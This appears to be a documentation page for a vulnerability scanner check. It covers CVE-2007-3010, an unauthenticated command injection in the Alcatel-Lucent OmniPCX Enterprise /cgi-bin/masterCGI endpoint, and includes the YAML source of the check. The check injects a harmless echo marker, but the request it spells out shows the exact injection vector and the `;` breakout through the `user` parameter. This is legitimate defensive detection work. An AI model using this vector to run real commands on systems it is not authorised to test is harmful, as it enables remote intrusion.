Alcatel-Lucent OmniPCX — 1 vulnerability check
noctis ships 1 vulnerability check for Alcatel-Lucent OmniPCX, covering 1 CVE; each one has to observe the bug on the live service before it reports a finding.
← All products · Feeds on GitHub
Alcatel-Lucent OmniPCX Enterprise 'masterCGI' Remote Command Injection
| CVE | CVE-2007-3010 |
|---|---|
| Severity | critical · CVSS 9.8 |
| Category | rce — Remote code execution |
| Services | http, https |
| Detection | set_var, script, tcp_connect, match · highest QoD 97 |
| Feed | tests/vulnerabilities/alcatel-omnipcx/CVE-2007-3010.yaml |
The target's Alcatel-Lucent OmniPCX Enterprise web administration endpoint /cgi-bin/masterCGI injects the `user` request parameter into a shell command during the `ping=nomip` diagnostic, allowing an unauthenticated remote attacker to execute arbitrary OS commands. The check injects an inert `echo` of a random token whose two halves are separated by an empty `$()` command substitution; a vulnerable host collapses the `$()` and reflects the contiguous token, confirming command execution without running any payload.
How noctis detects it
- Parses / computes the next value with a Rhai script
- Raw TCP (TLS on HTTPS), sent verbatim:
GET /cgi-bin/masterCGI?ping=nomip&user=;echo%20NOCTIS$(){{tok}}; HTTP/1.0 - Checks
resp.bannerforNOCTIS[0-9a-f]{32}→ finding QoD 97: Alcatel-Lucent OmniPCX Enterprise 'masterCGI' Remote Command Injection (CVE-2007-3010)
References:
- https://nvd.nist.gov/vuln/detail/CVE-2007-3010
- https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2007/CVE-2007-3010.yaml
- https://www.rapid7.com/db/?q=CVE-2007-3010
Feed source — tests/vulnerabilities/alcatel-omnipcx/CVE-2007-3010.yaml
# Alcatel-Lucent OmniPCX Enterprise 'masterCGI' Remote Command Injection
# (CVE-2007-3010).
#
# The OmniPCX Enterprise web administration CGI /cgi-bin/masterCGI does not
# sanitise the `user` request parameter before passing it to a shell when the
# `ping=nomip` diagnostic is invoked. A leading `;` breaks out of the intended
# command, so `?ping=nomip&user=;<cmd>;` runs <cmd> as the web server user and
# reflects its stdout into the response (which still carries the
# `<TITLE>master</TITLE>` chrome). Unauthenticated, remote, pre-auth RCE —
# CISA KEV, actively exploited.
#
# Detection — command-substitution-collapse, no real command executed:
# * mint a random token tok = rand_hex(16) (32 lowercase hex chars) and the
# marker "NOCTIS" + tok.
# * inject user=;echo NOCTIS$()<tok>; — the empty `$()` command
# substitution sits BETWEEN the two literal halves of the marker. Only a
# real shell collapses `$()` to nothing, splicing the halves into the one
# contiguous token NOCTIS<tok>. A server that merely reflects the request
# verbatim keeps the `$()` in the middle, so the contiguous marker never
# appears; a server that echoes a canned/constant marker cannot match our
# per-run random token. This proves genuine shell evaluation, not reflection.
# * the payload carries `;`, `$()` and `=`, all of which reqwest would mangle
# (it URL-normalises and re-encodes), so the probe is sent verbatim over
# HTTP/1.0 with tcp_connect and matched on resp.banner.
# * confirmation is gated on stridx(resp.banner, marker) >= 0 AND the
# regex NOCTIS[0-9a-f]{32} — QoD 97 (confirmed reflected execution).
uid: 386a271f-73d3-4bef-b81f-f5debb7f6434
name: "Alcatel-Lucent OmniPCX Enterprise 'masterCGI' Remote Command Injection (CVE-2007-3010)"
description: |
The target's Alcatel-Lucent OmniPCX Enterprise web administration endpoint
/cgi-bin/masterCGI injects the `user` request parameter into a shell command
during the `ping=nomip` diagnostic, allowing an unauthenticated remote
attacker to execute arbitrary OS commands. The check injects an inert
`echo` of a random token whose two halves are separated by an empty `$()`
command substitution; a vulnerable host collapses the `$()` and reflects the
contiguous token, confirming command execution without running any payload.
cves: [CVE-2007-3010]
cvss: 9.8
severity: critical
category: rce
confidence_base: 0.25
tags: [alcatel, omnipcx, mastercgi, rce, command-injection, cgi, kev]
services: [http, https]
author: noctis
version: "1.0.0"
references:
- "https://nvd.nist.gov/vuln/detail/CVE-2007-3010"
- "https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2007/CVE-2007-3010.yaml"
- "https://www.rapid7.com/db/?q=CVE-2007-3010"
steps:
# Seed state vars before use so a condition never reads an undefined Rhai var
# (which throws and is silently skipped) and the script has existing keys.
- id: init-tok
action: set_var
var_name: tok
var_value: ""
- id: init-marker
action: set_var
var_name: marker
var_value: ""
# Mint a per-run random token and the expected contiguous marker. rand_hex(16)
# yields 16 random bytes == 32 lowercase hex chars, matching NOCTIS[0-9a-f]{32}.
- id: mint-marker
action: script
store_as: mint
code: |
tok = rand_hex(16);
marker = "NOCTIS" + tok;
marker
# Inject the collapse payload verbatim over HTTP/1.0. The `$()` sits between
# the "NOCTIS" literal and the token so only a real shell produces the
# contiguous marker. reqwest would mangle `;`/`$()`/`=`, hence tcp_connect.
- id: probe-mastercgi
action: tcp_connect
port: "{{port}}"
send: "GET /cgi-bin/masterCGI?ping=nomip&user=;echo%20NOCTIS$(){{tok}}; HTTP/1.0\r\nHost: {{target_host}}\r\nUser-Agent: noctis\r\nConnection: close\r\n\r\n"
timeout_secs: 10
store_as: resp
# Confirm: the exact per-run marker must appear contiguously (stridx gate),
# and the generic NOCTIS<32-hex> shape must match. A reflecting-intact server
# keeps the `$()` (stridx fails); a constant-marker server cannot match our
# random token (stridx fails); a patched/benign server emits no marker.
- id: confirm-rce
action: match
condition: "stridx(resp.banner, marker) >= 0"
source: resp.banner
pattern: "NOCTIS[0-9a-f]{32}"
on_match:
finding:
title: "Alcatel-Lucent OmniPCX Enterprise 'masterCGI' Remote Command Injection (CVE-2007-3010)"
description: "The /cgi-bin/masterCGI endpoint reflected the collapsed command-substitution marker, confirming unauthenticated remote command injection via the `user` parameter (CVE-2007-3010)."
remediation: "Apply the Alcatel-Lucent OmniPCX Enterprise security patch and restrict access to the web administration interface."
confidence_delta: 0.65
qod: 97
evidence: "masterCGI reflected the collapsed marker (confirmed shell execution): {{resp.banner}}"
stop: true